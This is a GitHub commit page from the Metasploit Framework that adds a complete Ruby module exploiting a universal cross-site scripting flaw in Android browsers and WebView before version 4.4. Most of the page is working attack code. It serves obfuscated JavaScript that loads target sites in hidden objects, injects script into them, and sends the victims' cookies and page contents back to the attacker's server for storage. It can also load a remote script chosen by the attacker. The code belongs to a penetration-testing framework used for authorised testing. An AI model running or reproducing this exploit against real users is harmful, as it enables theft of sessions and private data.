Skip to content

Commit ebb8b70

Browse files
committed
Land rapid7#4015, another Android < 4.4 UXSS module
2 parents f8593ca + 1e9f9ce commit ebb8b70

File tree

2 files changed

+151
-3
lines changed

2 files changed

+151
-3
lines changed
Lines changed: 148 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,148 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpServer::HTML
11+
include Msf::Exploit::JSObfu
12+
include Msf::Auxiliary::Report
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Android Open Source Platform (AOSP) Browser UXSS',
17+
'Description' => %q{
18+
This module exploits a Universal Cross-Site Scripting (UXSS) vulnerability present in
19+
all versions of Android's open source stock browser before 4.4, and Android apps running
20+
on < 4.4 that embed the WebView component. If successful, an attacker can leverage this bug
21+
to scrape both cookie data and page contents from a vulnerable browser window.
22+
23+
Target URLs that use X-Frame-Options can not be exploited with this vulnerability.
24+
25+
Some sample UXSS scripts are provided in data/exploits/uxss.
26+
},
27+
'Author' => [
28+
'Rafay Baloch', # Original discovery, disclosure
29+
'joev' # Metasploit module
30+
],
31+
'License' => MSF_LICENSE,
32+
'Actions' => [
33+
[ 'WebServer' ]
34+
],
35+
'PassiveActions' => [
36+
'WebServer'
37+
],
38+
'References' => [
39+
[ 'URL', 'http://www.rafayhackingarticles.net/2014/10/a-tale-of-another-sop-bypass-in-android.html'],
40+
[ 'URL', 'https://android.googlesource.com/platform/external/webkit/+/109d59bf6fe4abfd001fc60ddd403f1046b117ef' ],
41+
[ 'URL', 'http://trac.webkit.org/changeset/96826' ]
42+
],
43+
'DefaultAction' => 'WebServer',
44+
'DisclosureDate' => "Oct 4 2014"
45+
))
46+
47+
register_options([
48+
OptString.new('TARGET_URLS', [
49+
true,
50+
"The comma-separated list of URLs to steal.",
51+
'http://example.com'
52+
]),
53+
OptString.new('CUSTOM_JS', [
54+
false,
55+
"A string of javascript to execute in the context of the target URLs.",
56+
''
57+
]),
58+
OptString.new('REMOTE_JS', [
59+
false,
60+
"A URL to inject into a script tag in the context of the target URLs.",
61+
''
62+
])
63+
], self.class)
64+
end
65+
66+
def on_request_uri(cli, request)
67+
print_status("Request '#{request.method} #{request.uri}'")
68+
69+
if request.method.downcase == 'post'
70+
collect_data(request)
71+
send_response_html(cli, '')
72+
else
73+
payload_fn = Rex::Text.rand_text_alphanumeric(4+rand(8))
74+
domains = datastore['TARGET_URLS'].split(',')
75+
76+
script = js_obfuscate <<-EOS
77+
var targets = JSON.parse(atob("#{Rex::Text.encode_base64(JSON.generate(domains))}"));
78+
targets.forEach(function(target, i){
79+
var obj = document.createElement('object');
80+
obj.setAttribute('data', target);
81+
obj.setAttribute('style', 'position:absolute;left:-9999px;top:-9999px;height:1px;width:1px');
82+
obj.onload = function() {
83+
obj.data = 'javascript:if(document&&document.body){(opener||top).postMessage('+
84+
'JSON.stringify({cookie:document.cookie,url:location.href,body:document.body.innerH'+
85+
'TML,i:'+(i||0)+'}),"*");eval(atob("#{Rex::Text.encode_base64(custom_js)}"'+
86+
'));}void(0);';
87+
obj.innerHTML = '#{Rex::Text.rand_text_alphanumeric(rand(12)+5)}';
88+
};
89+
document.body.appendChild(obj);
90+
});
91+
92+
window.addEventListener('message', function(e) {
93+
var data = JSON.parse(e.data);
94+
var x = new XMLHttpRequest;
95+
x.open('POST', window.location, true);
96+
x.send(e.data);
97+
}, false);
98+
99+
EOS
100+
101+
html = <<-EOS
102+
<html>
103+
<body>
104+
<script>
105+
#{script}
106+
</script>
107+
</body>
108+
</html>
109+
EOS
110+
111+
print_status("Sending initial HTML ...")
112+
send_response_html(cli, html)
113+
end
114+
end
115+
116+
def collect_data(request)
117+
begin
118+
response = JSON.parse(request.body)
119+
rescue JSON::ParserError
120+
print_bad "Invalid JSON request."
121+
else
122+
url = response['url']
123+
if response && url
124+
file = store_loot("android.client", "text/plain", cli.peerhost, request.body, "aosp_uxss_#{url}", "Data pilfered from uxss")
125+
print_good "Collected data from URL: #{url}"
126+
print_good "Saved to: #{file}"
127+
end
128+
end
129+
end
130+
131+
def custom_js
132+
rjs_hook + datastore['CUSTOM_JS']
133+
end
134+
135+
def rjs_hook
136+
remote_js = datastore['REMOTE_JS']
137+
if remote_js.present?
138+
"var s = document.createElement('script');s.setAttribute('src', '#{remote_js}');document.body.appendChild(s); "
139+
else
140+
''
141+
end
142+
end
143+
144+
def run
145+
exploit
146+
end
147+
148+
end

modules/auxiliary/gather/android_stock_browser_uxss.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -15,9 +15,9 @@ def initialize(info = {})
1515
'Name' => 'Android Open Source Platform (AOSP) Browser UXSS',
1616
'Description' => %q{
1717
This module exploits a Universal Cross-Site Scripting (UXSS) vulnerability present in
18-
all versions of Android's open source stock browser before Android 4.4. If successful,
19-
an attacker can leverage this bug to scrape both cookie data and page contents from a
20-
vulnerable browser window.
18+
all versions of Android's open source stock browser before 4.4, and Android apps running
19+
on < 4.4 that embed the WebView component. If successful, an attacker can leverage this bug
20+
to scrape both cookie data and page contents from a vulnerable browser window.
2121
2222
If your target URLs use X-Frame-Options, you can enable the "BYPASS_XFO" option,
2323
which will cause a popup window to be used. This requires a click from the user

0 commit comments

Comments
 (0)